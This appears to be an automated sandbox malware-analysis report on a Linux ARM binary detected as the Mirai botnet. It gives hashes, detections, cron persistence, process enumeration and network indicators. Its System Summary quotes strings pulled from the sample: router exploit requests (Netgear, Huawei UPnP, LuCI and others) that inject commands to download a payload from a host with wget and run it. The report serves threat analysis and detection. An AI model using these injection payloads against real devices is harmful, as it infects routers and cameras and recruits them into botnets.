Joe Sandbox Cloud Basic Analysis Report
Edit tour

Linux Analysis Report
k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf

Overview

General Information

Sample name:k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf
Analysis ID:1547941
MD5:3ca8decdb1e52c423c521bfff02ac200
SHA1:8621ecd6807109b8541912ad9e134f6fb49bfd48
SHA256:dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:84
Range:0 - 100
Whitelisted:false

Signatures

Multi AV Scanner detection for submitted file
Yara detected Mirai
Contains symbols with names commonly found in malware
Executes the "crontab" command typically for achieving persistence
Sample tries to persist itself using cron
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
HTTP GET or POST without a user agent
Reads the 'hosts' file potentially containing internal network hosts
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample contains strings that are potentially command strings
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious

General Information

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1547941
Start date and time:2024-11-03 13:50:33 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 3m 50s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf
Detection:MAL
Classification:mal84.troj.linELF@0/2@1/0
  • Connection to analysis system has been lost, crash info: Unknown
  • VT rate limit hit for: k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf

Runtime Messages

Command:/tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf
PID:5474
Exit Code:0
Exit Code Info:
Killed:False
Standard Output:

Standard Error:no crontab for root

Process Tree

  • system is lnxubuntu20
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elfJoeSecurity_Mirai_4Yara detected MiraiJoe Security
    k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elfJoeSecurity_Mirai_6Yara detected MiraiJoe Security
      k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security

        Suricata Signatures

        ⊘No Suricata rule has matched

        Joe Sandbox Signatures

        • • AV Detection
        • • Networking
        • • System Summary
        • • Persistence and Installation Behavior
        • • Malware Analysis System Evasion
        • • Stealing of Sensitive Information
        • • Remote Access Functionality

        Click to jump to signature section

        Show All Signature Results

        AV Detection

        barindex
        Source: k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elfReversingLabs: Detection: 50%
        Source: global trafficHTTP traffic detected: GET /.shell HTTP/1.1Host: 87.120.84.230Connection: close
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5488)Reads hosts file: /etc/hostsJump to behavior
        Source: global trafficHTTP traffic detected: GET /.shell HTTP/1.1Host: 87.120.84.230Connection: close
        Source: global trafficDNS traffic detected: DNS query: conn.masjesu.zip
        Source: k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elfString found in binary or memory: http://purenetworks.com/HNAP1/
        Source: k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
        Source: k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 60216
        Source: unknownNetwork traffic detected: HTTP traffic on port 60216 -> 443

        System Summary

        barindex
        Source: ELF static info symbol of initial sampleName: ATTACKRUNNING
        Source: ELF static info symbol of initial sampleName: LastAttackTime
        Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g %s -l /tmp/huawei -r /spim;chmod -x huawei;/tmp/huawei huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
        Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g %s -l /tmp/huawei -r /spim;chmod -x huawei;/tmp/huawei huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /UD/act?1 HTTP/1.1
        Source: Initial samplePotential command found: GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://%s/spim+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
        Source: Initial samplePotential command found: GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http://%s/l7vmra;sh${IFS}/tmp/l7vmra&>r&&tar${IFS}/string.js HTTP/1.0
        Source: Initial samplePotential command found: GET /shell?cd+/tmp;rm+-rf+*;wget+http://%s/l7vmra;chmod+777+l7vmra;/tmp/l7vmra HTTP/1.1
        Source: Initial samplePotential command found: GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://%s/spim;${IFS}sh${IFS}/var/tmp/spim
        Source: Initial samplePotential command found: GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://%s/l7vmra;chmod+777+l7vmra;/tmp/l7vmra
        Source: Initial samplePotential command found: GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm%20-rf%20%2A%3B%20cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F%s%2Fbins.sh%3B%20chmod%20777%20bins.sh%3B%20.%2Fbins.sh) HTTP/1.1
        Source: Initial samplePotential command found: GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://%s/spim;${IFS}sh${IFS}/var/tmp/spimGET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://%s/l7vmra;chmod+777+l7vmra;/tmp/l7vmraGET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm%20-rf%20%2A%3B%20cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F%s%2Fbins.sh%3B%20chmod%20777%20bins.sh%3B%20.%2Fbins.sh) HTTP/1.1
        Source: Initial samplePotential command found: GET /.shell HTTP/1.1
        Source: Initial samplePotential command found: GET / HTTP/1.1
        Source: classification engineClassification label: mal84.troj.linELF@0/2@1/0
        Source: k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elfELF static info symbol of initial sample: /home/landley/work/ab7/build/temp-armv6l/gcc-core/gcc/config/arm/lib1funcs.asm
        Source: k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elfELF static info symbol of initial sample: /home/landley/work/ab7/build/temp-armv6l/gcc-core/gcc/config/arm/lib1funcs.asm
        Source: k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elfELF static info symbol of initial sample: /home/landley/work/ab7/build/temp-armv6l/gcc-core/gcc/config/arm/lib1funcs.asm
        Source: k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elfELF static info symbol of initial sample: /home/landley/work/ab7/build/temp-armv6l/gcc-core/gcc/config/arm/lib1funcs.asm
        Source: k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elfELF static info symbol of initial sample: /home/landley/work/ab7/build/temp-armv6l/gcc-core/gcc/config/arm/lib1funcs.asm
        Source: k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elfELF static info symbol of initial sample: /home/landley/work/ab7/build/temp-armv6l/gcc-core/gcc/config/arm/lib1funcs.asm
        Source: k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elfELF static info symbol of initial sample: /home/landley/work/ab7/build/temp-armv6l/gcc-core/gcc/config/arm/lib1funcs.asm

        Persistence and Installation Behavior

        barindex
        Source: /bin/sh (PID: 5484)Crontab executable: /usr/bin/crontab -> crontab -lJump to behavior
        Source: /bin/sh (PID: 5487)Crontab executable: /usr/bin/crontab -> crontab -Jump to behavior
        Source: /usr/bin/crontab (PID: 5487)File: /var/spool/cron/crontabs/tmp.9yxD66Jump to behavior
        Source: /usr/bin/crontab (PID: 5487)File: /var/spool/cron/crontabs/rootJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/230/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/110/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/231/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/111/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/232/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/112/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/233/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/113/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/234/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/114/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/235/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/115/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/236/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/116/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/237/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/117/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/238/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/118/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/239/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/119/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/3633/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/914/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/10/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/917/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/11/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/12/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/13/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/14/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/15/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/16/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/17/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/18/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/19/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/240/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/3095/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/120/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/241/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/5150/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/121/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/242/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/1/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/122/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/243/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/2/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/123/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/244/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/3/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/124/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/245/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/1588/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/125/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/4/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/246/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/126/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/5/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/247/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/127/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/6/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/248/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/128/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/7/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/249/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/129/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/8/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/800/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/9/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/1906/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/802/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/803/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/20/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/21/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/22/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/23/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/24/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/25/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/26/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/27/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/28/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/29/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/3420/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/1482/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/490/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/1480/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/250/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/371/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/130/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/251/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/131/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/252/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/132/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/253/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/254/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/1238/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/134/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/255/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/256/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/257/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/378/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/3413/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/258/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/259/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/1475/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/3773/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/936/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5490)File opened: /proc/30/cmdlineJump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5478)Shell command executed: sh -c "crontab -l"Jump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5485)Shell command executed: sh -c "crontab -"Jump to behavior
        Source: submitted sampleStderr: no crontab for root: exit code = 0
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5474)Queries kernel information via 'uname': Jump to behavior
        Source: /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf (PID: 5488)Queries kernel information via 'uname': Jump to behavior
        Source: k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf, 5492.1.0000557665ede000.000055766608f000.r-x.sdmpBinary or memory string: [ 110.018604] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 11/12/2020
        Source: k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf, 5474.1.0000557668451000.000055766857f000.rw-.sdmp, k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf, 5476.1.0000557668451000.000055766857f000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
        Source: k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf, 5474.1.00007ffe87601000.00007ffe87622000.rw-.sdmp, k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf, 5476.1.00007ffe87601000.00007ffe87622000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm
        Source: k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf, 5474.1.00007ffe87601000.00007ffe87622000.rw-.sdmp, k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf, 5476.1.00007ffe87601000.00007ffe87622000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-arm/tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf
        Source: k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf, 5474.1.0000557668451000.000055766857f000.rw-.sdmp, k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf, 5476.1.0000557668451000.000055766857f000.rw-.sdmpBinary or memory string: FhvU!/etc/qemu-binfmt/arm

        Stealing of Sensitive Information

        barindex
        Source: Yara matchFile source: k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf, type: SAMPLE

        Remote Access Functionality

        barindex
        Source: Yara matchFile source: k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf, type: SAMPLE

        Mitre Att&ck Matrix

        ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
        Gather Victim Identity Information1
        Scripting        		Valid Accounts1
        Command and Scripting Interpreter        		1
        Scheduled Task/Job        		1
        Scheduled Task/Job        		Direct Volume Access1
        OS Credential Dumping        		11
        Security Software Discovery        		Remote ServicesData from Local System1
        Encrypted Channel        		Exfiltration Over Other Network MediumAbuse Accessibility Features
        CredentialsDomainsDefault Accounts1
        Scheduled Task/Job        		1
        Scripting        		Boot or Logon Initialization ScriptsRootkitLSASS Memory1
        File and Directory Discovery        		Remote Desktop ProtocolData from Removable Media2
        Non-Application Layer Protocol        		Exfiltration Over BluetoothNetwork Denial of Service
        Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)Obfuscated Files or InformationSecurity Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared Drive3
        Application Layer Protocol        		Automated ExfiltrationData Encrypted for Impact
